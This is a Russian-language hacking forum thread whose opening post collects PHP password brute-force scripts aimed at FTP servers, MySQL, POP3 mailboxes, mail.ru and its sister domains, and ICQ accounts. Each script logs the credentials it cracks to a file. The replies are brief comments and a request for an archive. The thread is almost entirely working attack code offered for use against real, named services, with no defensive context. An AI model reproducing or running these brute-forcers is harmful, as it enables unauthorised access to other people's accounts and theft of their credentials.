[PHP] Коллекция bruteforce

Discussion in 'PHP' started by XaCeRoC, 7 Jul 2008.

  1. XaCeRoC

    XaCeRoC Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    62
    Likes Received:
    23
    Reputations:
    -12
    Ftp brute
    Code:
    <?php 
    set_time_limit(0); 
    
    $host = "host.ru"; // указываем хост 
    $port = 21; // указываем порт 
    
    $uid_file = file("login.txt"); // файл с именами 
    $pwd_file = file("passw.txt"); // файл с паролями 
    
    $brute_save = fopen("brute_save_ftp.txt","a+"); // сюда пишем удачно сбрутенные аккаунты 
    
    $yes_connect = 0; 
    $no_connect = 0; 
    
    if($conn = @ftp_connect($host, $port)) { 
    for($i=0; $i<count($uid_file); $i++) { 
    $login = trim($uid_file[$i]); 
    for($j=0; $j<count($pwd_file); $j++) { 
    $passwd = trim($pwd_file[$j]); 
    if($ftp_conn = @ftp_login($conn, $login, $passwd)) { 
    fputs($brute_save, date("d.m.y H:i:s")."|HOST: ".$host."|Login: ".$login."|Password: ".$passwd."\r\n"); 
    ftp_quit($conn); 
    $yes_connect++; 
    } 
    else { 
    $no_connect++; 
    continue; 
    } 
    } 
    } 
    } 
    else { 
    echo "<font face=Tahoma color=#444444 size=2>Не удалось установить связь с $host</font><br>"; 
    exit(); 
    } 
    
    echo "<font face=Tahoma color=#444444 size=2>Удачных подключений: $yes_connect</font><br>"; 
    echo "<font face=Tahoma color=red size=2>Неудачных попыток: $no_connect</font><br>"; 
    
    $show_brute = file("brute_save_ftp.txt"); 
    for($i=0; $i<count($show_brute); $i++) { 
    list($dates, $host, $login, $passwd) = explode("|", $show_brute[$i]); 
    echo "<font face=Tahoma color=#runthes size=2>[".$dates."][".$host."][".$login."][".$passwd."]</font><br>"; 
    } 
    ?>

    SQL Brute
    Code:
    <?php 
    
    $host = "localhost"; // указываем хост на котором стоит мускуль 
    $port = "3306"; // указываем порт мускуля 
    
    $uid_file = file("login.txt"); // файл с именами 
    $pwd_file = file("passw.txt"); // файл с паролями 
    
    $brute_save = fopen("brute_save.txt","a+"); // сюда пишем удачно сбрутенные аккаунты 
    
    $yes_connect = 0; 
    $no_connect = 0; 
    
    for($i=0; $i<count($uid_file); $i++) { 
    $login = trim($uid_file[$i]); 
    for($j=0; $j<count($pwd_file); $j++) { 
    $passwd = trim($pwd_file[$j]); 
    if($conn = @mysql_connect($host.":".$port, $login, $passwd)) { 
    flock($brute_save, 3); 
    fputs($brute_save, date("d.m.y H:i:s")."|HOST: ".$host."|Login: ".$login."|Password: ".$passwd."\r\n"); 
    flock($brute_save, 1); 
    mysql_close($conn); 
    $yes_connect++; 
    } 
    else { 
    $no_connect++; 
    continue; 
    } 
    } 
    } 
    
    echo "<font face=Tahoma color=#444444 size=2>Удачных подключений: $yes_connect</font><br>"; 
    echo "<font face=Tahoma color=red size=2>Неудачных попыток: $no_connect</font><br>"; 
    
    $show_brute = file("brute_save.txt"); 
    for($i=0; $i<count($show_brute); $i++) { 
    list($dates, $host, $login, $passwd) = explode("|", $show_brute[$i]); 
    echo "<font face=Tahoma color=#runthes size=2>[".$dates."][".$host."][".$login."][".$passwd."]</font><br>"; 
    } 
    
    ?>

    Mail Brute
    brute_mail.php

    Code:
    <?php 
    set_time_limit(0); 
    
    $user_login = file("user_mail.txt"); 
    $uesr_passwd = file("user_passwd.txt"); 
    $apop = 0; 
    
    include_once("./pop3.php"); 
    
    for($i=0; $i<count($user_login); $i++) { 
    $u_login = trim($user_login[$i]); 
    for($j=0; $j<count($user_passwd); $j++) { 
    $u_passwd = trim($user_passwd[$j]); 
    $pop3_connection = new pop3_class; 
    $pop3_connection->hostname = "pop3.mail.ru"; 
    if($pop3_connection->Open()) { 
    if($pop3_connection->Login($u_login, $u_passwd, $apop)) { 
    echo "Congritulation!"; 
    $pop3_connection->Close(); 
    } 
    else { 
    echo "SHIT"; 
    } 
    } 
    else { 
    echo "Failed!"; 
    exit(); 
    } 
    } 
    } 
    
    ?>

    pop3.php
    Code:
    <? 
    class pop3_class 
    { 
    var $hostname=""; 
    var $port=110; 
    
    var $connection=0; 
    var $state="DISCONNECTED"; 
    var $greeting=""; 
    var $must_update=0; 
    
    Function GetLine() 
    { 
    for($line=""; 
    { 
    if(feof($this->connection)) 
    return(0); 
    $line.=fgets($this->connection,100); 
    $length=strlen($line); 
    if($length>=2 
    && substr($line,$length-2,2)=="\r\n") 
    return(substr($line,0,$length-2)); 
    } 
    } 
    
    Function PutLine($line) 
    { 
    return(fputs($this->connection,"$line\r\n")); 
    } 
    
    Function OpenConnection() 
    { 
    if($this->hostname=="") 
    return("2 it was not specified a valid hostname"); 
    switch(($this->connection=fsockopen($this->hostname,$this->port))) 
    { 
    case -3: 
    return("-3 socket could not be created"); 
    case -4: 
    return("-4 dns lookup on hostname \"$hostname\" failed"); 
    
    case -5: 
    return("-5 connection refused or timed out"); 
    case -6: 
    return("-6 fdopen() call failed"); 
    case -7: 
    return("-7 setvbuf() call failed"); 
    default: 
    return(""); 
    } 
    } 
    
    Function CloseConnection() 
    { 
    if($this->connection!=0) 
    { 
    fclose($this->connection); 
    $this->connection=0; 
    } 
    } 
    
    Function Open() 
    { 
    if($this->state!="DISCONNECTED") 
    return("1 a connection is already opened"); 
    if(($error=$this->OpenConnection())!="") 
    return($error); 
    $this->greeting=$this->GetLine(); 
    if(GetType($this->greeting)!="string" 
    || strtok($this->greeting," ")!="+OK") 
    { 
    $this->CloseConnection(); 
    return("3 POP3 server greeting was not found"); 
    } 
    $this->greeting=strtok("\r\n"); 
    $this->must_update=0; 
    $this->state="AUTHORIZATION"; 
    return(""); 
    } 
    Function Close() 
    { 
    if($this->state=="DISCONNECTED") 
    return("no connection was opened"); 
    if($this->must_update) 
    { 
    if($this->PutLine("QUIT")==0) 
    return("Could not send the QUIT command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get quit command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not quit the connection: ".strtok("\r\n")); 
    } 
    $this->CloseConnection(); 
    $this->state="DISCONNECTED"; 
    return(""); 
    } 
    
    Function Login($user,$password,$apop) 
    { 
    if($this->state!="AUTHORIZATION") 
    return("connection is not in AUTHORIZATION state"); 
    if($apop) 
    { 
    if($this->PutLine("APOP $user ".md5($this->greeting.$password))==0) 
    return("Could not send the APOP command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get APOP login command response"); 
    if(strtok($response," ")!="+OK") 
    return("APOP login failed: ".strtok("\r\n")); 
    } 
    else 
    { 
    if($this->PutLine("USER $user")==0) 
    return("Could not send the USER command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get user login entry response"); 
    if(strtok($response," ")!="+OK") 
    return("User error: ".strtok("\r\n")); 
    if($this->PutLine("PASS $password")==0) 
    return("Could not send the PASS command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get login password entry response"); 
    if(strtok($response," ")!="+OK") 
    return("Password error: ".strtok("\r\n")); 
    } 
    $this->state="TRANSACTION"; 
    return(""); 
    } 
    Function Statistics($messages,$size) 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($this->PutLine("STAT")==0) 
    return("Could not send the STAT command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get the statistics command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not get the statistics: ".strtok("\r\n")); 
    $messages=strtok(" "); 
    $size=strtok(" "); 
    return(""); 
    } 
    Function ListMessages($message,$unique_id) 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($unique_id) 
    $list_command="UIDL"; 
    else 
    $list_command="LIST"; 
    if($this->PutLine("$list_command $message")==0) 
    return("Could not send the $list_command command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get message list command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not get the message listing: ".strtok("\r\n")); 
    if($message=="") 
    { 
    for($messages=array(); 
    { 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get message list response"); 
    if($response==".") 
    break; 
    $message=intval(strtok($response," ")); 
    if($unique_id) 
    $messages[$message]=strtok(" "); 
    else 
    $messages[$message]=intval(strtok(" ")); 
    } 
    return($messages); 
    } 
    else 
    { 
    $message=intval(strtok(" ")); 
    return(intval(strtok(" "))); 
    } 
    } 
    
    Function RetrieveMessage($message,$headers,$body,$lines) 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($lines<0) 
    { 
    $command="RETR"; 
    $arguments="$message"; 
    } 
    else 
    { 
    $command="TOP"; 
    $arguments="$message $lines"; 
    } 
    if($this->PutLine("$command $arguments")==0) 
    return("Could not send the $command command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get message retrieval command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not retrieve the message: ".strtok("\r\n")); 
    for($headers=$body=array(),$line=0;;$line++) 
    { 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not retrieve the message"); 
    switch($response) 
    { 
    case ".": 
    return(""); 
    case "": 
    break 2; 
    default: 
    if(substr($response,0,1)==".") 
    $response=substr($response,1,strlen($response)-1); 
    break; 
    } 
    $headers[$line]=$response; 
    } 
    for($line=0;;$line++) 
    { 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not retrieve the message"); 
    switch($response) 
    { 
    case ".": 
    return(""); 
    default: 
    if(substr($response,0,1)==".") 
    $response=substr($response,1,strlen($response)-1); 
    break; 
    } 
    $body[$line]=$response; 
    } 
    return(""); 
    } 
    
    Function DeleteMessage($message) 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($this->PutLine("DELE $message")==0) 
    return("Could not send the DELE command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get message delete command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not delete the message: ".strtok("\r\n")); 
    $this->must_update=1; 
    return(""); 
    } 
    
    Function ResetDeletedMessages() 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($this->PutLine("RSET")==0) 
    return("Could not send the RSET command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get reset deleted messages command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not reset deleted messages: ".strtok("\r\n")); 
    $this->must_update=0; 
    return(""); 
    } 
    Function IssueNOOP() 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($this->PutLine("NOOP")==0) 
    return("Could not send the NOOP command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not NOOP command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not issue the NOOP command: ".strtok("\r\n")); 
    return(""); 
    } 
    };

    PHP Simple mail.ru brute
    Code:
    <html> 
    <head> 
    <title>MailBrute By Joker-jar</title> 
    <meta http-equiv=Content-Type content="text/html; charset=windows-1251"> 
    </head> 
    <body> 
    
    <? 
    set_time_limit(0); 
    ignore_user_abort(1); 
    error_reporting(0); 
    
    $servers = Array( 
    "mail" => "pop3.mail.ru", 
    "inbox" => "pop3.inbox.ru", 
    "bk" => "pop3.bk.ru", 
    "list" => "pop3.list.ru", 
    ); 
    
    $pop3port = 110; 
    
    $passfile = "pass.txt"; 
    $good = "good.txt"; 
    $bad = "bad.txt"; 
    
    function CheckPass($pop3server, $username, $pass) 
    { 
    global $pop3port; 
    $fp = fsockopen($pop3server, $pop3port, $errno, $errstr, 30); 
    if (!$fp) 
    return false; 
    $buf = fgets($fp, 128); 
    if ($buf[0] != "+") 
    { 
    fclose($fp); 
    return false; 
    } 
    fputs($fp,"user ".$username."\r\n"); 
    $buf = fgets($fp, 128); 
    if ($buf[0] != "+") 
    { 
    fclose($fp); 
    return false; 
    } 
    fputs($fp,"pass ".$pass."\r\n"); 
    $buf = fgets($fp, 128); 
    if (strlen($buf) > 3 && $buf[0] == "+") 
    { 
    fclose($fp); 
    return true; 
    } 
    fclose($fp); 
    return false; 
    } 
    
    function genstr($l, $alf) 
    { 
    $result = ""; 
    for ($i=0;$i<$l;$i++) 
    $result .= $alf[0]; 
    return $result; 
    } 
    
    function nextpass($p, $alf) 
    { 
    for ($i=0;$i<strlen($p);$i++) 
    { 
    if (strpos($alf,$p[$i]) == strlen($alf)-1) 
    { 
    $p[$i] = $alf[0]; 
    } 
    else 
    { 
    $p[$i] = $alf[strpos($alf,$p[$i])+1]; 
    return $p; 
    } 
    } 
    $p .= $alf[0]; 
    return $p; 
    } 
    
    if (isset($_POST["name"])) 
    { 
    if ($_POST["name"] === "") 
    { 
    echo "Отсутствует имя</body></html>"; 
    exit; 
    } 
    if (!isset($servers[$_POST["popserver"]])) 
    { 
    echo "Неправильно задан pop3 сервер</body></html>"; 
    exit; 
    } 
    settype($_POST["minl"],"int"); 
    settype($_POST["maxl"],"int"); 
    if ($_POST["minl"] == 0 || $_POST["maxl"] == 0 || $_POST["maxl"] - $_POST["minl"] < 0) 
    { 
    echo "Ошибка в параметрах длины пароля</body></html>"; 
    exit; 
    } 
    if ($_POST["dict"] !== "yes" && $_POST["alf"] === "") 
    { 
    echo "Алфавит пуст</body></html>"; 
    exit; 
    } 
    if ($_POST["dict"] === "yes" && (!file_exists($passfile) || filesize($passfile) == 0)) 
    { 
    echo "Файл $passfile пуст или отсутствует</body></html>"; 
    exit; 
    } 
    if ($_POST["dict"] !== "yes") 
    { 
    //Полный перебор 
    $startpass = genstr($_POST["minl"],$_POST["alf"]); 
    $endpass = genstr($_POST["maxl"]+1,$_POST["alf"]); 
    $curpass = $startpass; 
    while ($curpass != $endpass) 
    { 
    if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass)) 
    { 
    $f = fopen($good, 'ab'); 
    fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
    fclose($f); 
    exit; 
    } 
    else 
    { 
    $f = fopen($bad, 'ab'); 
    fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
    fclose($f); 
    } 
    $curpass = nextpass($curpass,$_POST["alf"]); 
    } 
    } 
    else 
    { 
    //Атака по словарю 
    $passes = file($passfile); 
    for($i=0; $i<count($passes);$i++) 
    { 
    $curpass = trim($passes[$i]); 
    if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass)) 
    { 
    $f = fopen($good, 'ab'); 
    fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
    fclose($f); 
    exit; 
    } 
    else 
    { 
    $f = fopen($bad, 'ab'); 
    fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
    fclose($f); 
    } 
    } 
    } 
    } 
    ?> 
    
    <fieldset style="width: 500"> 
    <legend>Параметры брута</legend> 
    <form method="POST"> 
    <table border="0"> 
    <tr><td> 
    <input type="text" name="name" style="width: 100"> 
    </td><td>@ 
    <select name="popserver" style="width: 100"> 
    <option value="mail" selected>mail.ru 
    <option value="inbox">inbox.ru 
    <option value="bk">bk.ru 
    <option value="list">list.ru 
    </select> 
    </td></tr> 
    <tr><td colspan="2"><br> 
    <input type="radio" name=dict value="yes" checked>Атака по словарю pass.txt<br> 
    <input type="radio" name=dict value="no">Атака полным перебором 
    </td></tr> 
    <tr><td style="text-align: right"> 
    алфавит: 
    </td><td> 
    <input type="text" name="alf" style="width: 200" value="abcdefghijklmnopqrstuvwxyz"> 
    </td></tr> 
    <tr><td style="text-align: right"> 
    мин длина: 
    </td><td> 
    <input type="text" name="minl" style="width: 50" value="1"> 
    </td></tr> 
    <tr><td style="text-align: right"> 
    макс длина: 
    </td><td> 
    <input type="text" name="maxl" style="width: 50" value="5"> 
    </td></tr> 
    <tr><td colspan="2"> 
    <br> 
    <input type="submit" value="Начать брут и идти спать"> 
    </td></tr> 
    </table> 
    </form> 
    </fieldset> 
    </body> 
    </html>

    Artix ICQ phpBrute
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
    "http://www.w3.org/TR/html4/loose.dtd"> 
    <html> 
    <head> 
    <title>Artix ICQ phpBrute</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> 
    </head> 
    <body> 
    <? 
    
    ///Для того, чтбы скрипт бесконечно работал 
    set_time_limit(0); 
    
    ///Чтобы все ошибки показывал 
    Error_Reporting(E_ALL & ~E_NOTICE); 
    
    ///Константы, просьба не менять 
    $config=array(); 
    $config['good']='./.htgood.txt'; ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать) 
    $config['pass']='./pass.txt'; ///Лист паролей 
    $config['separator']=';'; /// Разделитель уин;pass 
    $config['host']='www.icq.com'; /// HTTP сервер мирабов 
    $config['port']=80; /// HTTP порт 
    $config['statfile']='./stat.html'; ///Служебный файл 
    
    ///Если брутер запущен, то выдаем результат работы 
    if(file_exists($config['statfile'])) 
    { 
    include($config['statfile']); 
    echo ' 
    </body> 
    </html>'; 
    exit(); 
    } 
    
    ///Типа притворяемся браузером 
    $request = "POST /karma/login.php HTTP/1.1\r\n"; 
    $request .= "Host: ".$config['host']." \r\n"; 
    $request .= "User-Agent: Opera 7.50"; 
    $request .= "rulez\r\n"; 
    $request .= "Keep-Alive: 300\r\n"; 
    $request .= "Connection: keep-alive\r\n"; 
    $request .= "Referer: http://yandex.ru/ \r\n"; 
    
    ///Плохие и хорошие уины 
    $goodcount=0; 
    $badcount=0; 
    
    ///Открытие файла с паролями 
    $pass=file($config['pass']); 
    
    ///Непосредственно брут 
    for($i=0;$i<count($pass);$i++) 
    { 
    list($s,$s1)=explode($config['separator'],$pass[$i]); 
    
    ///Данные для отправки к мирабам 
    $posts = array ( 'dest' => '/whitepages/user_details.php', 
    'desc' => '', 
    'service' => '20', 
    'css'=> 'whitepages', 
    'uin_email'=> $s, 
    'password' => trim($s1) 
    ); 
    $postValues=""; 
    $s=''; 
    
    ///Кодирование 
    foreach( $posts AS $name => $value ) 
    { 
    $postValues .= urlencode($name) . "=" . urlencode($value) . '&'; 
    } 
    
    ///Создаем post запрос 
    $lenght = strlen($postValues); 
    $request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n"; 
    $request2 .= "Content-Length: $lenght\r\n"; 
    $request2 .= "\r\n"; 
    $request2 .= $postValues; 
    
    ///Открываем сокет 
    $fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30); 
    if (!$fp) 
    { 
    ///На случай ошибки 
    echo "$errstr ($errno)<br />\n"; 
    } 
    else 
    { 
    ///Отправляем данные на whitepages 
    fwrite($fp, $request2); 
    while (!feof($fp)) 
    { 
    $s.=fgets($fp, 128); 
    } 
    
    } 
    ///Закрываем сокет 
    fclose($fp); 
    
    ///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем 
    if(strpos($s,'Set-C*****')==true) 
    { 
    $good=fopen($config['good'],'a'); 
    fwrite($good,$pass[$i]); 
    fclose($good); 
    $goodcount++; 
    } 
    else $badcount++; 
    
    if($i%10==0) 
    { 
    $count=count($pass)-$i; 
    
    ///Обновление статистики 
    $s=<<<HTML 
    --------------------------<br> 
    <b>Artix ICQ phpBrute</b> <br> 
    --------------------------<br> 
    Хороших: $goodcount<br> 
    Плохих: $badcount<br> 
    Осталось: $count<br> 
    ---<br> 
    HTML; 
    
    $stat=fopen($config['statfile'],'w+'); 
    fwrite($stat,$s); 
    fclose($stat); 
    } 
    } 
    
    $s=<<<HTML 
    --------------------------<br> 
    <b>Artix ICQ phpBrute</b> <br> 
    --------------------------<br> 
    Работа завершена. <br> 
    Хороших: $goodcount<br> 
    Плохих: $badcount<br> 
    Для продолжения, удалите файл со статистикой<br> 
    ---<br> 
    HTML; 
    
    ///Запись конечного результата в файл 
    $stat=fopen($config['statfile'],'w+'); 
    fwrite($stat,$s); 
    fclose($stat); 
    
    ///Брут завершен 
    ?>
    ©Tyson
     
    2 people like this.
  2. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    ИМХО Бруты на пхп - извращение еще то...
     
  3. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    а тем более собраные с форума в одно место...
     
  4. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    залей одним архивом плз.
     
Loading...